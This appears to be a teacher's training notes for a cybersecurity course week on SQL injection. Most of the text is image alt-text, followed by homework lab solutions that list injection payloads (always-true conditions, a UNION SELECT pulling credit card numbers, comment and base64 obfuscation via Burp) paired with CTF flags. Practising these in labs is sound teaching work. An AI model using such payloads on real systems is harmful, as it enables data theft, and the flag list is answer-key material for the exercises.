Week 4

Teacher Training

Facilitation:

Graphical user interface, text, application, Word

Description automatically generated

Graphical user interface, application, table

Description automatically generated

Graphical user interface

Description automatically generated

Graphical user interface, application

Description automatically generated

Technical:

SQL Injections:

Text, website

Description automatically generated

Timeline

Description automatically generated with low confidence

Graphical user interface

Description automatically generated

A picture containing text

Description automatically generated

Text

Description automatically generated

Graphical user interface, application

Description automatically generated

Text

Description automatically generated with medium confidence

Graphical user interface, text, website

Description automatically generated

HW:

SQL injection 5 needs to use SQLMap

* + SQL Injection Lesson: Here you want to escape the string input and provide a condition that is always true
    - x' OR 1=1;--
  + SQL Injection 1: Here is the same as last but different character needed to escape string
    - x" OR 1=1;--
  + SQL Injection 2: a'!='1@1.1
  + SQL Injection Escaping: \' OR 1=1; --
  + SQL Injection 3: Mary Martin' UNION SELECT creditcardnumber FROM customers WHERE customername = 'Mary Martin
  + SQL Injection 4: username: \  
     password: or username="admin";--
  + SQL Injection 5:

Flags:

* + first\_name=dave'OR'1=1&submit=submit in burp
  + a"!="1@1"; --
    - \*CTF{DECADENT\_CAT\_ACCURSED}
  + 'OR'1=1, a"!='1@1'; --
    - \*CTF{GAMBREL\_TENTACLES\_GIBBERING}
  + 'OR'1=1, '/\*\*/OR/\*\*/'1=1
    - \*CTF{TENTACLES\_CHARNEL\_MANUSCRIPT}
  + Inside URL: job\_type=Engineer'OR'1=1&submit=submit
    - \*CTF{UNNAMABLE\_ELDRITCH\_EFFULGENCE}
  + "/\*\*/or/\*\*/1=1#
    - \*CTF{DECADENT\_IRIDESCENCE\_CAT}
  + 'or first\_name like 'adm\_n
    - \*CTF{GIBBOUS\_DANK\_DECADENT}
  + In Burp: job\_type=Engineer'OR'1=1&submit=submit
    - In inspector, in form: <option value="'OR'1=1">Researcher</option>
  + In Burp, job type 64 encoded: job\_type=RW5naW5lZXInT1InMT0x&submit=submit
  + " OR 1=1# need sqlmap
    - \*CTF{sqli\_10}
  + ' or '1'='1' and username <> 'mdulany0' and username <> 'stomasz1' and username <> 'gsimone2